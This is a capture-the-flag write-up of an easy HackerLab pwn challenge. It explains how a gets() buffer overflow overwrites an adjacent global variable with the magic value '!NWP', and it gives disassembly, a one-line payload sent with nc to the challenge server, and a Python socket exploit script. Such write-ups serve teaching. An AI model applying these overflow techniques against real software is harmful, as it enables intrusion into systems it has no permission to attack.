Вопрос (Question)
Вопрос (Question)
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent global variable, Little-endian byte order exploitation, Magic value comparison bypass, Static binary analysis with objdump
Summary
Task: Binary checks for correct answer to get flag. Solution: Buffer overflow via gets() to overwrite adjacent secret variable with magic value 0x50574E21.
Вопрос (Question) - HackerLab
Description
От ответа на этот вопрос зависит, получишь ли ты флаг (Your answer to this question determines whether you get the flag)
Binary file checks for the "correct answer" to get the flag.
Analysis
File Information
bash read-only • copy allowed$ file task task: ELF 64-bit LSB executable, x86-64
Disassembling main
Analysis with objdump revealed key elements:
asm read-only • copy allowed# Reading input into str buffer lea 0x2c8f(%rip),%rax # str at 0x4020 mov %rax,%rdi call gets@plt # Dangerous function! # Loading secret for check mov 0x2c7c(%rip),%eax # secret at 0x4034 (0x4020 + 0x14) # Comparison with magic value cmp $0x50574e21,%eax # Check: secret == 0x50574E21? jne <fail> # If equal - call getenv("FLAG") lea 0xd8f(%rip),%rax # "FLAG" mov %rax,%rdi call getenv@plt
Variable Layout
.bss segment:
+------------------+ 0x4020
| str[20] | <- Input buffer (0x14 = 20 bytes)
+------------------+ 0x4034
| secret (4) | <- Variable for check
+------------------+
Magic Value
0x50574E21 in little-endian:
Bytes: 21 4E 57 50
ASCII: '!' 'N' 'W' 'P'
String: "!NWP"
Vulnerability
- Buffer
strhas size 20 bytes (0x14) - Variable
secretis located right after the buffer (offset +20) - Function
gets()does not check input length - Can overflow the buffer and overwrite
secretwith the required value
Solution
Exploitation Strategy
- Fill the buffer with 20 bytes (any characters)
- Add magic value 0x50574E21 in little-endian format
- Program will read secret == 0x50574E21 and print the flag
Payload
'A' * 20 + '!NWP'
Where:
'A' * 20- filling the str buffer'!NWP'- magic value 0x50574E21 in ASCII (little-endian)
Exploit
bash read-only • copy allowed# Local test python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'!NWP\n')" | ./task # Remote exploitation python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'!NWP\n')" | nc 62.173.140.174 27770
Python Version
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for "Вопрос" (Question) HackerLab PWN Challenge Vulnerability: Buffer overflow via gets() overwrites adjacent secret variable Magic value: 0x50574E21 = "!NWP" (little-endian) """ import socket def exploit(): HOST = '62.173.140.174' PORT = 27770 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((HOST, PORT)) # Receive prompt print(s.recv(4096).decode()) # Payload: # - 20 bytes padding (fill str buffer) # - 4 bytes magic value 0x50574E21 = "!NWP" (little-endian) payload = b'A' * 20 + b'!NWP\n' s.send(payload) # Receive flag response = s.recv(4096).decode() print(response) s.close() if __name__ == "__main__": exploit()
Lessons
-
gets() is dangerous: Never use gets() - it does not check buffer size. Use fgets() with explicit limit.
-
Little-endian byte order: x86/x64 uses little-endian. 0x50574E21 is stored as bytes 21 4E 57 50.
-
BSS layout: Global variables in .bss are laid out sequentially. Buffer before an important variable = vulnerability.
-
Magic value in ASCII: Often magic values are chosen to be readable in ASCII (here "!NWP" = "PWN!" reversed).
-
Static analysis: objdump is sufficient for complete understanding of the vulnerability without running the binary.